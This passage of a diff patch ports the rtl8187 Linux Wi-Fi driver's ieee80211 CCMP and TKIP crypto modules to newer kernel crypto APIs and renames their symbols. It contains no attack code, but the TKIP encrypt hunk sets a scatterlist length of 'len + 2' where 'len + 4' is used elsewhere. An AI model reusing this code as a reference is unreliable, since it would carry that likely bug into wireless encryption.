rtl8180_set_chan(struct net_device *dev,short ch); -void write_phy(struct net_device *dev, u8 adr, u8 data); -void write_phy_cck(struct net_device *dev, u8 adr, u32 data); -void write_phy_ofdm(struct net_device *dev, u8 adr, u32 data); -void rtl8185_tx_antenna(struct net_device *dev, u8 ant); -void rtl8187_set_rxconf(struct net_device *dev); -#endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/.tmp_versions/r8187.mod rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/.tmp_versions/r8187.mod --- rtl8187_linux_26.1010.0622.2006/beta-8187/.tmp_versions/r8187.mod 2006-06-22 07:40:15.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/.tmp_versions/r8187.mod 2008-02-22 15:33:11.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8187.ko -/usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8187_core.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_93cx6.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_wx.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_rtl8225.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_rtl8225z2.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.c 2008-01-30 17:38:11.000000000 +0100 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_ccmp.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_ccmp.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2008-01-30 17:38:11.000000000 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -51,7 +61,11 @@ int key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm; +#else + struct crypto_cipher *tfm; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 tx_b0[AES_BLOCK_LEN], tx_b[AES_BLOCK_LEN], @@ -59,7 +73,8 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -74,8 +89,15 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } +#else +static inline void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_cipher *tfm, + const u8 pt[16], u8 ct[16]) +{ + crypto_cipher_encrypt_one(tfm, ct, pt); +} +#endif -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -85,19 +107,33 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) priv->tfm = crypto_alloc_tfm("aes", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " "crypto API aes\n"); goto fail; } +#else + priv->tfm = crypto_alloc_cipher("aes", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " + "crypto API aes\n"); + priv->tfm = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { if (priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(priv->tfm); +#else + crypto_free_cipher(priv->tfm); +#endif kfree(priv); } @@ -105,16 +141,20 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(_priv->tfm); +#else + crypto_free_cipher(_priv->tfm); +#endif kfree(priv); } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +162,11 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, +#else +static void ccmp_init_blocks_rtl7(struct crypto_cipher *tfm, +#endif struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +230,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +281,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +289,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +306,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +370,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +381,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,11 +409,15 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = data->tfm; +#else + struct crypto_cipher *tfm = data->tfm; +#endif keyidx = data->key_idx; memset(data, 0, sizeof(*data)); @@ -396,7 +444,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +468,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +485,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.h rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.h --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.h 2008-01-30 17:38:11.000000000 +0100 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_tkip.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_tkip.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.c 2008-01-30 17:39:05.000000000 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -55,14 +65,21 @@ int key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm_arc4; struct crypto_tfm *tfm_michael; +#else + struct crypto_blkcipher *rx_tfm_arc4; + struct crypto_blkcipher *tx_tfm_arc4; + struct crypto_hash *rx_tfm_michael; + struct crypto_hash *tx_tfm_michael; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -72,28 +89,74 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm_arc4 = crypto_alloc_tfm("arc4", 0); if (priv->tfm_arc4 == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API arc4\n"); goto fail; } - priv->tfm_michael = crypto_alloc_tfm("michael_mic", 0); if (priv->tfm_michael == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API michael_mic\n"); goto fail; } +#else + priv->tx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm_arc4 = NULL; + goto fail; + } + + priv->tx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->tx_tfm_michael = NULL; + goto fail; + } + + priv->rx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm_arc4 = NULL; + goto fail; + } + + priv->rx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->rx_tfm_michael = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm_michael) crypto_free_tfm(priv->tfm_michael); if (priv->tfm_arc4) crypto_free_tfm(priv->tfm_arc4); +#else + if (priv->tx_tfm_michael) + crypto_free_hash(priv->tx_tfm_michael); + if (priv->tx_tfm_arc4) + crypto_free_blkcipher(priv->tx_tfm_arc4); + if (priv->rx_tfm_michael) + crypto_free_hash(priv->rx_tfm_michael); + if (priv->rx_tfm_arc4) + crypto_free_blkcipher(priv->rx_tfm_arc4); +#endif kfree(priv); } @@ -101,13 +164,26 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm_michael) crypto_free_tfm(_priv->tfm_michael); if (_priv && _priv->tfm_arc4) crypto_free_tfm(_priv->tfm_arc4); +#else + if (_priv) { + if (_priv->tx_tfm_michael) + crypto_free_hash(_priv->tx_tfm_michael); + if (_priv->tx_tfm_arc4) + crypto_free_blkcipher(_priv->tx_tfm_arc4); + if (_priv->rx_tfm_michael) + crypto_free_hash(_priv->rx_tfm_michael); + if (_priv->rx_tfm_arc4) + crypto_free_blkcipher(_priv->rx_tfm_arc4); + } +#endif kfree(priv); } @@ -200,7 +276,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +298,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +344,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -276,6 +352,9 @@ struct ieee80211_hdr *hdr; u32 crc; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->tx_tfm_arc4 }; +#endif if (skb_headroom(skb) < 8 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -283,11 +362,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -310,11 +389,23 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->tx_tfm_arc4, rc4key, 16); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; +#else + sg_set_page(&sg, virt_to_page(pos), len + 2, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_encrypt(tkey->tfm_arc4, &sg, &sg, len + 4); +#else + crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif tkey->tx_iv16++; if (tkey->tx_iv16 == 0) { @@ -325,7 +416,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -337,6 +428,9 @@ u32 crc; struct scatterlist sg; int plen; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->rx_tfm_arc4 }; +#endif if (skb->len < hdr_len + 8 + 4) return -1; @@ -382,18 +476,30 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->rx_tfm_arc4, rc4key, 16); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#else + sg_set_page(&sg, virt_to_page(pos), plen + 4, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(tkey->tfm_arc4, &sg, &sg, plen + 4); +#else + crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4); +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -427,33 +533,59 @@ return keyidx; } - -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { struct scatterlist sg[2]; if (tkey->tfm_michael == NULL) { +#else +static int michael_mic_rtl7(struct crypto_hash *tfm_michael, u8 *key, u8 *hdr, + u8 *data, size_t data_len, u8 *mic) +{ + struct hash_desc desc; + struct scatterlist sg[2]; + + if (tfm_michael == NULL) { +#endif printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); return -1; } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg[0].page = virt_to_page(hdr); sg[0].offset = offset_in_page(hdr); sg[0].length = 16; +#else + sg_set_page(&sg[0], virt_to_page(hdr), 16, offset_in_page(hdr)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg[1].page = virt_to_page(data); sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#else + sg_set_page(&sg[1], virt_to_page(data), data_len, offset_in_page(data)); +#endif +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); return 0; +#else + if (crypto_hash_setkey(tfm_michael, key, 8)) + return -1; + + desc.tfm = tfm_michael; + desc.flags = 0; + return crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +615,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,18 +627,24 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) + return -1; +#else + if (michael_mic_rtl7(tkey->tx_tfm_michael, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; +#endif return 0; } #if 